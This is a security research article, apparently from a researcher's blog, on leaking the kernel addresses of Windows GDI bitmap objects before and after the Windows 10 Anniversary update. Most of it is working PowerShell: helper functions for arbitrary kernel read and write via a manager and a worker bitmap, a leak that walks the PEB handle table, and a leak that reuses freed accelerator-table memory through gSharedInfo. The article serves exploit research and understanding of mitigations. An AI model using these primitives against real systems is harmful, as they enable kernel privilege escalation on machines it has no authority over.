Article

A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition

Introduction

Before we get started, credit should be given to Nicolas Economou, Diego Juarez and KeenLab for pushing Windows kernel exploitation techniques to their limit and for being generous enough to share some of this arcane knowledge with the wider community. In their Anniversary edition patch for Windows 10 (Build 1607), Microsoft patched an important information leak which had previously been used to disclose addresses of Bitmap objects in kernel space. This post discusses a new way of leaking Bitmap objects post-Anniversary. This method was first disclosed by Nicolas Economou and Diego Juarez in their 2016 talk at Ekoparty titled "Abusing GDI for ring0 exploit primitives: Reloaded".

Resources

The following resources provide background information on the use of bitmaps in the context of kernel exploitation.

Background

Bitmaps have been widely (ab)used to exploit kernel memory corruptions since 2015. The kernel bitmap surface object header contains an element (pvScan0) which is a pointer to the first scan line of the bitmap. From an exploitation perspective, this element provides a powerful ring0 primitive as there are a number of GDI API calls which directly operate on this pointer, most notable GetBitmapBits and SetBitmapBits. If a memory corruption allows an attacker to update this pointer, these API calls essentially provide arbitrary read and write in kernel space. This primitive is versatile and can be leveraged in most cases where the kernel vulnerability includes some form of arbitrary write.

A full explanation of this technique is beyond the scope of this post but we will try to touch on the essentials. Firstly, the attacker creates two Bitmap objects that are referred to as Manager and Worker. The next step leverages a kernel vulnerability to update the pvScan0 address of the Manager bitmap object so it points to the pvScan0 of the Worker. Once that has been accomplished, SetBitmapBits can be called on the Manager to update the pointer of the Worker and SetBitmapBits / GetBitmapBits can be called on the Worker to achieve arbitrary read and write. Example functions to wrap this logic are provided below.

# Arbitrary kernel read
function Bitmap-Read {
    param ($Address)
    $CallResult = [API]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    [IntPtr]$Pointer = [API]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
    $CallResult = [API]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)
    if ($x32){
        [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)
    } else {
        [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
    }
    $CallResult = [API]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
 
# Arbitrary kernel write
function Bitmap-Write {
    param ($Address, $Value)
    $CallResult = [API]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
    $CallResult = [API]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))
}

 Pre-Anniversary Leak

When a Bitmap object is created by a process, an entry is added to the GdiSharedHandleTable of the process PEB as shown in the image below.

GDI 1

The pKernelAddress in the _GDI_CELL struct leaks the address of the Bitmap object in kernel space. Since the process can traverse it's own PEB it is relatively straight-forward to leak bitmap kernel object addresses. The PowerShell function below can be used to create a Manager and Worker bitmap pre-Anniversary patch.

function Stage-BitmapReadWrite {
<#
.SYNOPSIS
    Get PowerShell PEB, create manager&worker bitmaps and leak kernel objects.
    Warning: This only works up to Windows 10 v1607!

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

.EXAMPLE
    C:\PS> Stage-BitmapReadWrite
    ManagerpvScan0       : -7692227456944
    WorkerHandleTable    : 767454567328
    ManagerKernelObj     : -7692227457024
    PEB                  : 8757247991808
    WorkerpvScan0        : -7692227415984
    ManagerHandle        : -737866269
    WorkerHandle         : 2080706172
    GdiSharedHandleTable : 767454478336
    ManagerHandleTable   : 767454563656
    WorkerKernelObj      : -7692227416064
    
    C:\PS> $BitMapObject = Stage-BitmapReadWrite
    C:\PS> "{0:X}" -f $BitMapObject.ManagerKernelObj
    FFFFF9010320F000
#>

	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	
	[StructLayout(LayoutKind.Sequential)]
	public struct _PROCESS_BASIC_INFORMATION
	{
		public IntPtr ExitStatus;
		public IntPtr PebBaseAddress;
		public IntPtr AffinityMask;
		public IntPtr BasePriority;
		public UIntPtr UniqueProcessId;
		public IntPtr InheritedFromUniqueProcessId;
	}
	[StructLayout(LayoutKind.Explicit, Size = 256)]
	public struct _PEB
	{
		[FieldOffset(148)]
		public IntPtr GdiSharedHandleTable32;
		[FieldOffset(248)]
		public IntPtr GdiSharedHandleTable64;
	}
	[StructLayout(LayoutKind.Sequential)]
	public struct _GDI_CELL
	{
		public IntPtr pKernelAddress;
		public UInt16 wProcessId;
		public UInt16 wCount;
		public UInt16 wUpper;
		public UInt16 wType;
		public IntPtr pUserAddress;
	}
	public static class Gdi32
	{
		[DllImport("gdi32.dll")]
		public static extern IntPtr CreateBitmap(
			int nWidth,
			int nHeight,
			uint cPlanes,
			uint cBitsPerPel,
			IntPtr lpvBits);
	}
	public static class Ntdll
	{
		[DllImport("ntdll.dll")]
		public static extern int NtQueryInformationProcess(
			IntPtr processHandle, 
			int processInformationClass,
			ref _PROCESS_BASIC_INFORMATION processInformation,
			int processInformationLength,
			ref int returnLength);
	}
"@

	# Flag architecture $x32Architecture/!$x32Architecture
	if ([System.IntPtr]::Size -eq 4) {
		$x32Architecture = 1
	}

	# Current Proc handle
	$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle

	# Process Basic Information
	$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
	$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
	$returnLength = New-Object Int
	$CallResult = [Ntdll]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)

	# Lazy PEB parsing
	$_PEB = New-Object _PEB
	$_PEB = $_PEB.GetType()
	$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
	$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
	$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)

	# _GDI_CELL size
	$_GDI_CELL = New-Object _GDI_CELL
	$_GDI_CELL_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($_GDI_CELL)

	# Manager Bitmap
	[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
	$ManagerBitmap = [Gdi32]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
	if ($x32Architecture) {
		$ManagerHandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
		$ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($ManagerHandleTableEntry)
		$ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($ManagerHandleTableEntry)) + 0x30
	} else {
		$ManagerHandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($ManagerBitmap -band 0xffff)*$_GDI_CELL_Size)
		$ManagerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($ManagerHandleTableEntry)
		$ManagerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($ManagerHandleTableEntry)) + 0x50
	}

	# Worker Bitmap
	[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x64*0x64*4)
	$WorkerBitmap = [Gdi32]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer)
	if ($x32Architecture) {
		$WorkerHandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
		$WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($WorkerHandleTableEntry)
		$WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt32($WorkerHandleTableEntry)) + 0x30
	} else {
		$WorkerHandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size)
		$WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($WorkerHandleTableEntry)
		$WorkerpvScan0 = $([System.Runtime.InteropServices.Marshal]::ReadInt64($WorkerHandleTableEntry)) + 0x50
	}

	$BitMapObject = @()
	$HashTable = @{
		PEB = if ($x32Architecture){$PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32()}else{$PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()}
		GdiSharedHandleTable = if ($x32Architecture){$PEBFlags.GdiSharedHandleTable32.ToInt32()}else{$PEBFlags.GdiSharedHandleTable64.ToInt64()}
		ManagerHandle = $ManagerBitmap
		ManagerHandleTable = $ManagerHandleTableEntry
		ManagerKernelObj = $ManagerKernelObj
		ManagerpvScan0 = $ManagerpvScan0
		WorkerHandle = $WorkerBitmap
		WorkerHandleTable = $WorkerHandleTableEntry
		WorkerKernelObj = $WorkerKernelObj
		WorkerpvScan0 = $WorkerpvScan0
	}
	$Object = New-Object PSObject -Property $HashTable
	$BitMapObject += $Object
	$BitMapObject
}

The output for his function can be seen below. Note that, for convenience, handles and addresses are represented as integers.

GDI X1

Process hacker can be used to verify these results.

GDI X2

Post-Anniversary Leak

With the Anniversary patch Microsoft replaced the pKernelAddress address in the _GDI_CELL struct with dummy data killing the kernel object leak. The demise of this ring0 primitive saddened a lot of exploit developers but was this truly the end? Who says the PEB is the only way to leak Bitmap objects?

When created, bitmaps objects are allocated on the paged kernel session pool.

GDI 0

The following list of user objects which reside on the paged pool was taken from MSDN.

GDI T1

Currently, on the latest version of Windows 10, it is possible to leak the kernel addresses of these objects. The image below illustrates this process using accelerator tables as an example.

GDI H2

The phead element of the _HANDLEENTRY struct discloses the kernel object address for the accelerator table. If we create an accelerator table, leak its address, free it and then allocate a bitmap of the same size we can force the kernel to reuse the free'd memory. To make this Use-After-Free (UAF) style information leak 100% reliable, all we need to do is make our objects large enough, e.g. 4 kB or more,  to prevent arbitrary reuse. 

GDI Y3

After this operation, we end up with a bitmap at the address where the accelerator table used to be, regaining our powerful ring0 primitive! Sample code to achieve this in PowerShell can be seen below!

function Stage-gSharedInfoBitmap {
<#
.SYNOPSIS
    Universal Bitmap leak using accelerator tables, 32/64 bit Win7-10 (+post anniversary).

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

.EXAMPLE
	PS C:\Users\b33f> Stage-gSharedInfoBitmap |fl
	
	BitmapKernelObj : -7692235059200
	BitmappvScan0   : -7692235059120
	BitmapHandle    : 1845828432
	
	PS C:\Users\b33f> $Manager = Stage-gSharedInfoBitmap
	PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
	FFFFF901030FF000
#>

	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	public static class gSharedInfoBitmap
	{
		[DllImport("gdi32.dll")]
		public static extern IntPtr CreateBitmap(
		    int nWidth,
		    int nHeight,
		    uint cPlanes,
		    uint cBitsPerPel,
		    IntPtr lpvBits);
		[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
		public static extern IntPtr LoadLibrary(
		    string lpFileName);
		
		[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
		public static extern IntPtr GetProcAddress(
		    IntPtr hModule,
		    string procName);
		[DllImport("user32.dll")]
		public static extern IntPtr CreateAcceleratorTable(
		    IntPtr lpaccl,
		    int cEntries);
		[DllImport("user32.dll")]
		public static extern bool DestroyAcceleratorTable(
		    IntPtr hAccel);
	}
"@

	# Check Arch
	if ([System.IntPtr]::Size -eq 4) {
		$x32 = 1
	}

	function Create-AcceleratorTable {
	    [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)
	    $AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size
	    $User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll")
	    $gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo")
	    if ($x32){
	        $gSharedInfo = $gSharedInfo.ToInt32()
	    } else {
	        $gSharedInfo = $gSharedInfo.ToInt64()
	    }
	    $aheList = $gSharedInfo + [System.IntPtr]::Size
	    if ($x32){
	        $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)
	        $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC
	        $phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)
	    } else {
	        $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)
	        $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18
	        $phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)
	    }

	    $Result = @()
	    $HashTable = @{
	        Handle = $AccelHandle
	        KernelObj = $phead
	    }
	    $Object = New-Object PSObject -Property $HashTable
	    $Result += $Object
	    $Result
	}

	function Destroy-AcceleratorTable {
	    param ($Hanlde)
	    $CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)
	}

	$KernelArray = @()
	for ($i=0;$i -lt 20;$i++) {
	    $KernelArray += Create-AcceleratorTable
	    if ($KernelArray.Length -gt 1) {
	        if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {
	            Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
	            [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
	            $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # # +4 kb size -lt AcceleratorTable
	            break
	        }
	    }
	    Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle
	}

	$BitMapObject = @()
	$HashTable = @{
	    BitmapHandle = $BitmapHandle
	    BitmapKernelObj = $($KernelArray[$i].KernelObj)
	    BitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}
	}
	$Object = New-Object PSObject -Property $HashTable
	$BitMapObject += $Object
	$BitMapObject
}

The output for his function can be seen below.

GDI T4

To verify that this address (where the accelerator table used to be), in fact contains our bitmap, we can do "!pool ADDRESS" in KD.

GDI T5

Conclusion

Effective exploit mitigation requires a few different strategies including patching vulnerabilities, adding protections and eliminating known exploitation techniques. Microsoft's continued efforts in the last two categories has proved very fruitful and has greatly increased the security of the Windows kernel. These improvements increase the cost of exploit development and in some cases completely eliminate bug classes. While, as this post shows, new techniques may still be found, the playing field is getting ever smaller!

Further details on new mitigation's implemented in Windows 10 Anniversary patch can be found here.